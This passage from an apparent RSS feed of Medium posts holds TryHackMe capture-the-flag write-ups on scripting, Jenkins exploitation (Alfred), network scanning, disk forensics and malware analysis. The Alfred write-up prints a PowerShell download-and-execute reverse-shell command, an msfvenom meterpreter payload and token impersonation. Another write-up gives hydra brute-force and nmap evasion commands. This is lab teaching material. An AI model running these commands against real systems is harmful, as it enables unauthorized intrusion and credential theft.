thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b639f63d436" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Scripting Write-up]]></title>
            <link>https://otuva.medium.com/tryhackme-scripting-write-up-3eaf7f98fd44?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/3eaf7f98fd44</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 06:48:30 GMT</pubDate>
            <atom:updated>2023-04-13T06:50:10.500Z</atom:updated>
            <content:encoded><![CDATA[<p>Check out the <a href="https://tryhackme.com/room/scripting">Scripting</a> room on <a href="https://tryhackme.com/">TryHackMe</a></p><p>Original Publish Date: Sep 29, 2022</p><h3>1 — Base64</h3><p>This file has been base64 encoded 50 times — write a script to retrieve the flag. Try to do this in both Bash and Python!</p><ol><li>Read input from the file</li><li>Use function to decode the file</li><li>Do process in a loop</li></ol><p>To start, let’s first write in bash.</p><h4>Bash</h4><p>In bash, to decode encoded texts, you can pipe them like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*yuCFYs1hBshR7SPS_mc-_g.png" /><figcaption>Piping encoded text</figcaption></figure><p>Because challenge wants us to use functions, we can wrap this code like this:</p><pre>b64decode() {<br> echo -n &quot;$1&quot; | base64 -d<br>}</pre><p>Because bash functions don’t havereturn statement, we are just echoing. The -n flag emits the newline and wrapping the function parameter $1 in quotes is a safe practice for handling spaces (because we are dealing with base64 here it’s not that useful, but it’s a good habit to wrap.).</p><p>Now we need to save file content to a variable</p><pre>content=$(cat b64.txt)</pre><p>Now we need a for loop to call our function as many times as we want.</p><pre>for i in {1..50}; do<br> content=$(b64decode &quot;$content&quot;)<br>done</pre><p>In bash, we can use either c-style for loops or ranges. The above code is an example of range.</p><p>Now we can finish by printing our final string</p><pre>echo &quot;$content&quot;</pre><p>Full code would look like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4bd86f8e42a5a79c140122661b4376c1/href">https://medium.com/media/4bd86f8e42a5a79c140122661b4376c1/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*XVkmQ_ph8qNBq-lfTP4lQg.png" /><figcaption>We got our first flag!</figcaption></figure><h4>Python</h4><p>In order to use base64 functionality, we need to import it first.</p><pre>import base64</pre><p>To decode a string, we can write a simple function like this:</p><pre>def b64decode(string: str):<br>    return base64.b64decode(string)</pre><p>To read or write to files, we need to open a file handle. But in this case we don’t need to write, thus we can open the file read-only.</p><pre>file = open(&quot;/tmp/thm/b64.txt&quot;, &quot;r&quot;)</pre><p>Load the content of the file and close the handle like this:</p><pre>content = file.read()<br>file.close()</pre><p>Putting everything together:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b42618929c23cd9ad8fc6e04735e5aec/href">https://medium.com/media/b42618929c23cd9ad8fc6e04735e5aec/href</a></iframe><h3>2 — Gotta Catch em All</h3><p>You need to write a script that connects to this web server on the correct port, do an operation on a number and then move onto the next port.</p><ol><li>Create a socket in Python using the <a href="https://docs.python.org/3/howto/sockets.html">sockets</a> library</li><li>Connect to the port</li><li>Send an operation</li><li>View response and continue</li></ol><p>This challenge is pretty time-consuming. First, let’s start simple. And try to just connect and send a package. Our starting point would be port 1337 and challenge says we might need to wait for it to become alive.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9f69311516aa18fc585321a78cdf1d96/href">https://medium.com/media/9f69311516aa18fc585321a78cdf1d96/href</a></iframe><p>And challenge also says we need to stop if port hits 9765. You can kinda see where we’re going with this. In order to keep trying to connect, we have to wrap our code with try except block and while loop. And because ports change every 4 seconds, if our request fails, we need to wait before sending another.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/cc257252aeb1bd04d6eac2bd2a177db1/href">https://medium.com/media/cc257252aeb1bd04d6eac2bd2a177db1/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*c3D6MPVw80OGRTBPDNIfgQ.png" /><figcaption>How it would look like</figcaption></figure><p>Now if you run the script and if it can connect to the port we can see some data, but it seems random. We know the format of the required data (The format is: <em>operation, number, next port.</em>) so we can use regex to reliably get operation. After running a couple of times, some of the problems I encountered and their solutions:</p><p>Operation regex can get some unwanted texts too, like (ep &lt;number&gt; &lt;number&gt;) so setting minimum characters would solve it ([a-z]to [a-z]{3,})</p><p>Number to operate can contain integers, floats and their negatives, so regex for number would become from [0-9] to -?[0–9]+\.?[0–9]*</p><p>Complete regex:</p><pre>[a-z]{3,}\s-?[0-9]+\.?[0-9]*\s[0-9]+</pre><p>Now we can get only what we want. The next step would be to evaluate the extracted string. Putting a variable with initial value of zero and a function to update that would be as follows</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/07caee32b97d68ae9e0c7fdafaf74dc4/href">https://medium.com/media/07caee32b97d68ae9e0c7fdafaf74dc4/href</a></iframe><p>Sometimes the same operation can be called multiple times. But we know that a single port won’t be called multiple times. We can leverage that into a control mechanism. After adding that, our code is done.</p><p>Everything put together would look like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e901e3ee54bf34b59b2d6336ea2947db/href">https://medium.com/media/e901e3ee54bf34b59b2d6336ea2947db/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*Qr6CzRzdWvUWoLj-ca45OQ.png" /><figcaption>Script is working!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*640IqOhG4wybW-dRyoP-jA.png" /><figcaption>We got the result</figcaption></figure><h3>3 — Encrypted Server Chit Chat</h3><p>The VM you have to connect to has a UDP server running on port 4000. Once connected to this UDP server, send a UDP message with the payload “hello” to receive more information.</p><p>Now we need to be able to:</p><ol><li>Send UDP packages</li><li>Use decryption</li><li>Compare hashes</li></ol><p>Again starting simple, let us send the required payload to the server.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/620e7c41afedfaa6edeb92d54b17b9e0/href">https://medium.com/media/620e7c41afedfaa6edeb92d54b17b9e0/href</a></iframe><p>We are just creating socket and sending packages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*os1OSAOHW8GAJK23S_4_TQ.png" /><figcaption>First response</figcaption></figure><p>We have information about what to do next, so we are just following instructions and sending another payload.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9fcaaa2d2e0154fe6202bf751ac05ab1/href">https://medium.com/media/9fcaaa2d2e0154fe6202bf751ac05ab1/href</a></iframe><p>Lines after goal variable are added afterwards for convenience. They are just for parsing the response string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OqyxiGyPPfW53fwp-W43ZQ.png" /><figcaption>Second payload output</figcaption></figure><p>Server instructs us again, we know from the room that, text and tag are sent consecutively. And it’s clear after a couple of tries that we need a while loop because we need our script to run until we find a suitable match.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/fd5ec024e6264b96572318d5f9725404/href">https://medium.com/media/fd5ec024e6264b96572318d5f9725404/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*qRBqkcVUpwsPt-MqPFrhWg.png" /><figcaption>While loop payload</figcaption></figure><p>Now we can write the function to decrypt them. Looking at cryptography’s documentation, we should import needed functions.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/00012ca666856652c0640fb1fe9ae61a/href">https://medium.com/media/00012ca666856652c0640fb1fe9ae61a/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*chfp4ABHLo06E2iVrvbuQQ.png" /><figcaption>Boom found it! :)</figcaption></figure><p>And we solved all challenges.</p><h4>Further reading:</h4><ul><li><a href="https://stackoverflow.com/a/34192135/13883950">python socket GET</a></li><li><a href="https://docs.python.org/3/library/socket.html">socket — Low-level networking interface</a></li><li><a href="https://docs.python.org/3/howto/sockets.html">Socket Programming HOWTO</a></li></ul><p>Thank you for reading! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3eaf7f98fd44" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Alfred Write-up]]></title>
            <link>https://otuva.medium.com/tryhackme-alfred-write-up-1efa4e90ced6?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/1efa4e90ced6</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 06:33:02 GMT</pubDate>
            <atom:updated>2023-04-13T06:33:02.813Z</atom:updated>
            <content:encoded><![CDATA[<p>Check out <a href="https://tryhackme.com/room/alfred">Alfred</a> room on <a href="https://tryhackme.com/">TryHackMe</a></p><p>Original Publish Date: Sep 29, 2022</p><h3>1 — Initial Access</h3><p>Starting our enumeration with nmap like this command:</p><pre>nmap -A -Pn -vv -T5 -p- 10.10.81.101 | tee -a nmap_results.txt</pre><p>Flags that I’m using:</p><p>For aggressive scanning (version &amp; OS) -A</p><p>Because machine does not respond to ping -Pn</p><p>Increase verbosity -vv</p><p>Set timing to fastest -T5</p><p>Scan all ports -p-</p><p>And I’m saving nmap results to a file in case I need them again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*aUYiwfbDRye2cHY-qcM-XQ.png" /><figcaption>Nmap results</figcaption></figure><h4>1.1 — How many ports are open? (TCP only)</h4><p>We can see it’s 3.</p><h4>1.2 — What is the username and password for the log in panel</h4><p>Well, you can kinda guess :) They’re one of the most common ones.</p><h4>1.3 — What is the user.txt flag?</h4><p>First, we need to start our python server for file transfer like:</p><pre>python3 -m http.server</pre><p>Then we need to listen for connection</p><pre>nc -lnvp 4444</pre><p>Finally, we need to actually download reverse shell script from GitHub</p><pre>wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1</pre><p>Optionally, verify you can actually reach the script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*yrdyGUC76QHea-ekIS1dIg.png" /></figure><p>Navigate to Dashboard &gt; Project &gt; Configure</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*6drYO1NgNqwgtYi8ACaEwg.png" /></figure><p>Go to Build &gt; Command and put this as recommended in the room according to attacker IP (assuming you didn’t change python server port)</p><pre>powershell iex (New-Object Net.WebClient).DownloadString(&#39;http://&lt;IP_ADDRESS&gt;:8000/Invoke-PowerShellTcp.ps1&#39;);Invoke-PowerShellTcp -Reverse -IPAddress &lt;IP_ADDRESS&gt; -Port 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQLLJ9PjMfPCJuDqS9ZYJA.png" /></figure><p>Save and go to the dashboard again. Hit build.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPl-uJiccJane7a-0niL4g.png" /><figcaption>Build button location</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*tbjZkgut_r1mDTig3QwVtw.png" /><figcaption>We got our connection</figcaption></figure><p>Now we can get user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*Y4qtKhgSaL8LSyrpIyZnuA.png" /></figure><h3>2 — Switching Shells</h3><p>Use msfvenom to create the a windows meterpreter reverse shell using the following payload</p><pre>msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder        x86/shikata_ga_nai LHOST=[IP] LPORT=5555 -f exe -o payload.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dyJjtik0SfYKzZhFJQjGNA.png" /><figcaption>Msfvenom output</figcaption></figure><p>After creating this payload, download it to the machine using the same method in the previous step:</p><pre>powershell &quot;(New-Object System.Net.WebClient).Downloadfile(&#39;http://&lt;IP_ADDRESS&gt;:8000/payload.exe&#39;,&#39;payload.exe&#39;)&quot;</pre><p>Fire up msfconsole and set up handler:</p><pre>use exploit/multi/handler<br>set PAYLOAD windows/meterpreter/reverse_tcp<br>set LHOST your-ip<br>set LPORT listening-port<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*3L6Owlj-eRFGoBBruLHcnQ.png" /><figcaption>Msfconsole settings</figcaption></figure><p>And run payload on the machine</p><pre>powershell start-process &quot;payload.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCkdmIscl131R4XFt0lNNg.png" /><figcaption>We got our meterpreter shell :)</figcaption></figure><h4>2.1 — What is the final size of the exe payload that you generated?</h4><p>You can see it from msfvenom output (just below the second part’s beginning).</p><h3>3 — Privilege Escalation</h3><p>Let’s use the incognito module that will allow us to exploit this vulnerability. On meterpreter shell type:</p><pre>load incognito</pre><p>Then we can use admin tokens like this:</p><pre>impersonate_token &quot;BUILTIN\Administrators&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*_fa1zTSWC-aGhYpl4HVxdQ.png" /><figcaption>Successful escalation</figcaption></figure><h4>3.1 — What is the output when you run the getuid command?</h4><p>You can see the output above.</p><h4>3.2 — Read the root.txt file at C:\Windows\System32\config</h4><p>First type ps and find services.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_JgJdI2lMG_s2wq31Pf1Q.png" /></figure><p>Copy the PID then type:</p><pre>migrate &lt;PID&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*YqAWxhyWSMojDAEvZpHj7w.png" /><figcaption>Migration completed</figcaption></figure><p>And we can read root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*rB8SRQ4fxJWcNvfMTeVmVQ.png" /><figcaption>Done!</figcaption></figure><p>And that was pretty much it.</p><p>Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1efa4e90ced6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Net Sec Challenge Write-up]]></title>
            <link>https://otuva.medium.com/tryhackme-net-sec-challenge-write-up-bfdb89cb1439?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/bfdb89cb1439</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Tue, 11 Apr 2023 09:31:57 GMT</pubDate>
            <atom:updated>2023-04-11T09:31:57.224Z</atom:updated>
            <content:encoded><![CDATA[<p>Check out the <a href="https://tryhackme.com/room/netsecchallenge">Net Sec Challenge</a> room on <a href="https://tryhackme.com/">TryHackMe</a></p><p>Original Publish Date: Sep 29, 2022</p><p>After the virtual machine boots up, I start by scanning it with nmap and piping it to a file (tee -a &lt;file&gt;) (in case I need to look at the results again)</p><p>Arguments I’m using:</p><p>For verbosity -vv</p><p>For as much information as possible (version scanning) -A</p><p>For the fastest timing policy (also the loudest) -T5</p><p>Scan all ports -p-</p><p>So the final command would look like this:</p><pre>nmap -vv -A -T5 -p- 10.10.35.177 | tee -a nmap_results</pre><figure><img alt="Nmap results" src="https://cdn-images-1.medium.com/max/951/1*JO5uVH-1eFpUm4a2Q8cvQA.png" /><figcaption>Nmap results</figcaption></figure><h4>2.1 — What is the highest port number, being open less than 10,000?</h4><p>As we can see from the results, it’s where an HTTP node.js server resides.</p><h4>2.2 — There is an open port outside the common 1000 ports; it is above 10,000. What is it?</h4><p>Taking a look at the results, there’s only one open port above 10k.</p><h4>2.3 — How many TCP ports are open?</h4><p>There are 6 open ports.</p><h4>2.4 — What is the flag hidden in the HTTP server header?</h4><p>By running the nmap command above, the flag would be on the right side of lighttpd string.</p><h4>2.5 — What is the flag hidden in the SSH server header?</h4><p>It would be under fingerprint-strings in results.</p><h4>2.6 — We have an FTP server listening on a nonstandard port. What is the version of the FTP server?</h4><p>By scanning the version info of the port above 10k, we can conclude its version vsftpd x.x.x</p><h4>2.7 — We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?</h4><p>Firing up hydra like:</p><pre>hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.10.110.109:10021</pre><p>and</p><pre>hydra -l eddie -P /usr/share/wordlists/rockyou.txt ftp://10.10.110.109:10021</pre><p>where -l would be username, -P is password list to use and string is like &lt;protocol&gt;://&lt;host&gt;:&lt;port&gt;</p><p>Running the command gives us passwords for ftp</p><figure><img alt="Hydra results" src="https://cdn-images-1.medium.com/max/1024/1*R9U0eWyWDVGhsgIL9fdZDQ.png" /><figcaption>Hydra results</figcaption></figure><p>Now using ftp client to connect found accounts with the command:</p><p>ftp 10.10.35.177 -P 10021</p><p>and listing files/directories with</p><pre>ls</pre><p>We can see which account has the flag.</p><figure><img alt="Image of the command line" src="https://cdn-images-1.medium.com/max/605/1*XTaBk6WdFUwaVEZpc7iH3w.png" /><figcaption>This account does not have it</figcaption></figure><p>Connecting the other account and getting the flag to our computer, so we can cat it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*DlKUDi8xuuax1f4X5U7MfQ.png" /><figcaption>Found the flag</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*Xap4yt-c7b-le6_JIPk3zw.png" /><figcaption>Read the flag</figcaption></figure><h4>2.8 — Browsing to <a href="http://machine_ip:8080/">http://MACHINE_IP:8080</a> displays a small challenge that will give you a flag once you solve it. What is the flag?</h4><p>After experimenting around and reading about evasion techs for nmap I found that this command works decent (note that 10.10.110.109 is the virtual machine&#39;s IP):</p><pre>nmap -vv -f -D RND:5 -T3 -sN 10.10.110.109</pre><p>Set verbosity to very verbose -vv</p><p>Use tiny fragmented IP packets -f</p><p>Decoy scan with random IPs (RND:5) -D</p><p>Set timing to normal -T3</p><p>Stealth null scan -sN</p><p>Nmap completes and our flag appears on the website!</p><h4>Further reading:</h4><p><a href="https://nmap.org/book/man-bypass-firewalls-ids.html">Firewall/IDS Evasion and Spoofing</a></p><p><a href="https://security.stackexchange.com/q/121900/245464">How can the </a><a href="https://security.stackexchange.com/q/121900/245464">nmap tool be used to evade a firewall/IDS?</a></p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bfdb89cb1439" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Disk Analysis & Autopsy Walkthrough]]></title>
            <link>https://otuva.medium.com/tryhackme-disk-analysis-autopsy-walkthrough-aa1e638d0eb0?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa1e638d0eb0</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Fri, 07 Apr 2023 18:19:33 GMT</pubDate>
            <atom:updated>2023-04-07T18:19:33.681Z</atom:updated>
            <content:encoded><![CDATA[<p>Use Autopsy to investigate artifacts from a disk image.</p><p>In the attached VM, there is an Autopsy case file and its corresponding disk image. After loading the .aut file, make sure to re-point Autopsy to the disk image file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/0*sq1mMi7tKWT5Zqte.png" /></figure><p>Ingest Modules were already ran for your convenience.</p><p>Your task is to perform a manual analysis of the artifacts discovered by Autopsy to answer the questions below.</p><p>This room should help to reinforce what you learned in the Autopsy room. Have fun investigating!</p><p>What is the MD5 hash of the E01 image?</p><pre>3f08c518adb3b5c1359849657a9b2079</pre><p>What is the computer account name?</p><pre>DESKTOP-0R59DJ3</pre><p>List all the user accounts. (alphabetical order)</p><pre>H4S4N,joshwa,keshav,sandya,shreya,sivaprivya,srini,suba</pre><p>Who was the last user to log into the computer?</p><pre>sivapriya</pre><p>What was the IP address of the computer?</p><pre>192.168.130.216</pre><p>What was the MAC address of the computer? (XX-XX-XX-XX-XX-XX)</p><pre>08-00-27-2c-c4-b9</pre><p>What is the name of the network card on this computer?</p><pre>Intel(R) PRO/1000 MT Desktop Adapter</pre><p>What is the name of the network monitoring tool?</p><pre>Look@LAN</pre><p>A user bookmarked a Google Maps location. What are the coordinates of the location?</p><pre>12°52&#39;23.0&quot;N 80°13&#39;25.0&quot;E</pre><p>A user has his full name printed on his desktop wallpaper. What is the user’s full name?</p><pre>Anto Joshwa</pre><p>A user had a file on her desktop. It had a flag but she changed the flag using PowerShell. What was the first flag?</p><pre>flag{HarleyQuinnForQueen}</pre><p>The same user found an exploit to escalate privileges on the computer. What was the message to the device owner?</p><pre>flag{I-hacked-you}</pre><p>2 hack tools focused on passwords were found in the system. What are the names of these tools? (alphabetical order)</p><pre>Lazagne,Mimikatz</pre><p>There is a YARA file on the computer. Inspect the file. What is the name of the author?</p><pre>Benjamin DELPY (gentilkiwi)</pre><p>One of the users wanted to exploit a domain controller with an MS-NRPC based exploit. What is the filename of the archive that you found? (include the spaces in your answer)</p><pre>2.2.0 20200918 Zerologon encrypted.zip</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa1e638d0eb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: MAL: REMnux — The Redux Walkthrough]]></title>
            <link>https://otuva.medium.com/tryhackme-mal-remnux-the-redux-walkthrough-70263bf677bd?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/70263bf677bd</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Wed, 05 Apr 2023 17:59:19 GMT</pubDate>
            <atom:updated>2023-04-05T17:59:19.800Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: MAL: REMnux — The Redux Walkthrough</h3><p>A revitalized, hands-on showcase involving analyzing malicious macro’s, PDF’s and Memory forensics of a victim of Jigsaw Ransomware</p><h3>Task 1 Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/0*9gIQ1Tw6_J-Galt_.png" /></figure><p><a href="https://remnux.org/">(Zeltser Security Corp., 2020)</a></p><p><strong>Welcome to the Redux of REMnux.</strong></p><p>Since the release of the previous REMnux room, REMnux has had substantial changes, rendering the previous room outdated and impossible to complete.</p><p>I have taken the opportunity to recreate the room covering REMnux from scratch, taking a very different approach to ensure you get to use all the facilities that make REMnux unique.</p><p>How Have I Designed This Room Differently?</p><p>I’ve now re-designed the content for this room to get you as hands-on with REMnux and its tools as possible…gone are the days of reading cheat sheets for tasks; it’s time for you to get stuck in and see what REMnux is really about. This room isn’t designed with point-farming in mind, instead, I hope to give you enough guidance throughout the room that results in you developing a curiosity in exploring the topics &amp; resources I introduce you to in your own time.</p><p>You will be doing the following:</p><ul><li>Identifying and analyzing malicious payloads of various formats embedded in PDF’s, EXE’s and Microsoft Office Macros (the most common method that malware developers use to spread malware today)</li><li>Learning how to identify obfuscated code and packed files — and in turn — analyze these.</li><li>Analyzing the memory dump of a PC that became infected with the Jigsaw ransomware in the real-world using Volatility.</li></ul><h3>Task 3 Analyzing Malicious PDF’s</h3><p>A Blast From the Past</p><p>We’re back at this old chestnut, analyzing malicious PDF files. In the previous room, you were analyzing a PDF file for potential JavaScript code. PDFs are capable of containing many more types of code that can be executed without the user’s knowledge. This includes:</p><ul><li>JavaScript</li><li>Python</li><li>Executables</li><li>PowerShell code</li></ul><p>Not only will this task be covering JavaScript embeds (like we did previously), but also analyzing embedded executables.</p><p>Looking for Embedded JavaScript</p><p>We previously discussed how easily JavaScript can be embedded into a PDF file, whereupon opening is executed unbeknownst to the user. JavaScript, much like other languages that we come on to discover in Task 4, provide a great way of creating a foothold, where additional malware can be downloaded and executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*bv7W-HzSbcEvF_Cv.png" /></figure><p>Looks like the Cooctus Clan just wanted to say hey — it’s a good thing that they’re nice people!</p><p>Practical</p><p>We’ll be using peepdf to begin a precursory analysis of a PDF file to determine the presence of JavaScript. If there is, we will extract this JavaScript code (without executing it) for our inspection.</p><p>We can simply do peepdf demo_notsuspicious.pdf:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*o8OMYhWwH5uTljOr.png" /></figure><p>Note the output confirming that there’s JavaScript present, but also how it is executed? <strong>Open Action</strong> will execute the code when the PDF is launched.</p><p>To extract this JavaScript, we can use peepdf&#39;s &quot;extract&quot; module. This requires a few steps to set up but is fairly trivial.</p><p>The following command will create a script file for peepdf to use:</p><p>1. echo &#39;extract js &gt; javascript-from-demo_notsuspicious.pdf&#39; &gt; extracted_javascript.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*p2MpmKEoSZ1PDHpM.png" /></figure><p>The script will extract all JavaScript via extract js and pipe &gt; the contents into &quot;javascript-from-demo_notsuspicious.pdf&quot;</p><p>We now need to tell peepdf the name of the script (extracted_javascript.txt) and the PDF file that we want to extract from (demo_notsuspicious.pdf):</p><p>2. peepdf -s extracted_javascript.txt demo_notsuspicious.pdf</p><p>Remembering that the JavaScript will output into a file called “javascript-from-demo_nonsuspicious.pdf” because of our script.</p><p><strong>To recap:</strong> “extracted_javascript.txt” (highlighted in red) is our script, where “demo_notsuspicious.pdf” (highlighted in green) is the original PDF file that we think is malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GnJCeO6ZjQa0zkwy.png" /></figure><p>You will see an output, in this case, a file named “javascript-from-demo_notsuspicious” (highlighted in yellow). This file now contains our extracted JavaScript, we can simply cat this to see the contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/0*UoCwj97dlNcPv6qO.png" /></figure><p>As it turns out, the PDF file we have analyzed contains the JavaScript code of app.alert(&quot;All your Cooctus are belong to us!&quot;)</p><p>Practical</p><p>We have used peepdf to:</p><p>1. Look for the presence of JavaScript</p><p>2. Extract any contained JavaScript for us to read without it being executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*NadWugNxCw7bPBNT.png" /></figure><p>The commands to do so have been used above, you may have to implement them differently, <strong>proceed to answer questions 1–4 before moving onto the next section</strong>.</p><p>Executables</p><p>Of course, not only can JavaScript be embedded, by executables can be very much too.</p><p>The “advert.pdf” actually has an embedded executable. Looking at the extracted JavaScript, we can see the following JavaScript snippet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*8zbjqRGVMU2yspzk.png" /></figure><p>This tells us that when the PDF is opened, the user will be asked to save an attachment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/0*pARkpvdt45fSQB8D.png" /></figure><p>Although PDF attachments can be ZIP files or images, in this case, it is another PDF… Or is it? Well, let’s save the file and see what happens. Uh oh… At least that we get a warning that something is trying to execute, but hey, Karen from HR wouldn’t send you a dodgy email, right? It’s probably a false alarm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*b7Cutrc8RwNPLTjM.png" /></figure><p>Ah… Well, turns out it was. We just got a reverse shell from the Windows PC to my attack machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/0*mtguXh7qprtnn04A.png" /></figure><p>It’s now obvious (albeit too late for them) that the “PDF” that gets saved isn’t a PDF. Let’s open it up in a hex editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/0*9DjaL5MHoCAs-tei.png" /></figure><p>Well, well, well, looks like we have an executable. Let’s investigate further by looking at the strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/0*37o33lGoZOXeO_CA.png" /></figure><p>It looks like we have our attacker’s IP and port!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/0*lKnb3uBBeh5t61DT.png" /></figure><p>How many types of categories of “Suspicious elements” are there in “notsuspicious.pdf”</p><pre>3</pre><p>Use peepdf to extract the JavaScript from “notsuspicious.pdf”. What is the flag?</p><pre>THM{Luckily_This_Isn&#39;t_Harmful}</pre><p>How many types of categories of “Suspicious elements” are there in “advert.pdf”</p><pre>6</pre><p>Now use peepdf to extract the JavaScript from “advert.pdf”. What is the value of “cName”?</p><pre>notsuspicious</pre><h3>Task 4 Analyzing Malicious Microsoft Office Macros</h3><p>The Change in Focus from APT’s</p><p>Malware infection via malicious macros (or scripts within Microsoft Office products such as Word and Excel) are some of the most successful attacks to date.</p><p>For example, current APT campaigns such as Emotet, QuickBot infect users by sending seemingly legitimate documents attached to emails i.e. an invoice for business. However, once opened, execute malicious code without the user knowing. This malicious code is often used in what’s known as a “dropper attack”, where additional malicious programs are downloaded onto the host.</p><p>Take the document file below as an example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HMIqN8Bk0-pijxJ5.png" /></figure><p>Looks perfectly okay, right? Well in actual fact, this word document has just downloaded a ransomware file from a malicious IP address in the background, with not much more than this snippet of code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/0*XpUc-mPbaGF_NGms.png" /></figure><p>I have programmed the script to show a pop-up for demonstration purposes. However, in real life, this would be done without any popup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/0*l4O8se9R42GzBK_c.png" /></figure><p>Luckily for me, this EXE is safe. Unfortunately in the real-world, this EXE could start encrypting my files.</p><p>Thankfully Anti-Viruses these days are pretty reliable on picking up that sort of activity when it is left in plaintext. The following example uses two-stages to execute an <strong>obfuscated</strong> payload code.</p><ol><li>The macro starts once edit permissions (“Enable Edit” or “Enable Content”)have enabled edit mode on the Word document</li><li>The macro executes the payload stored in the text within the 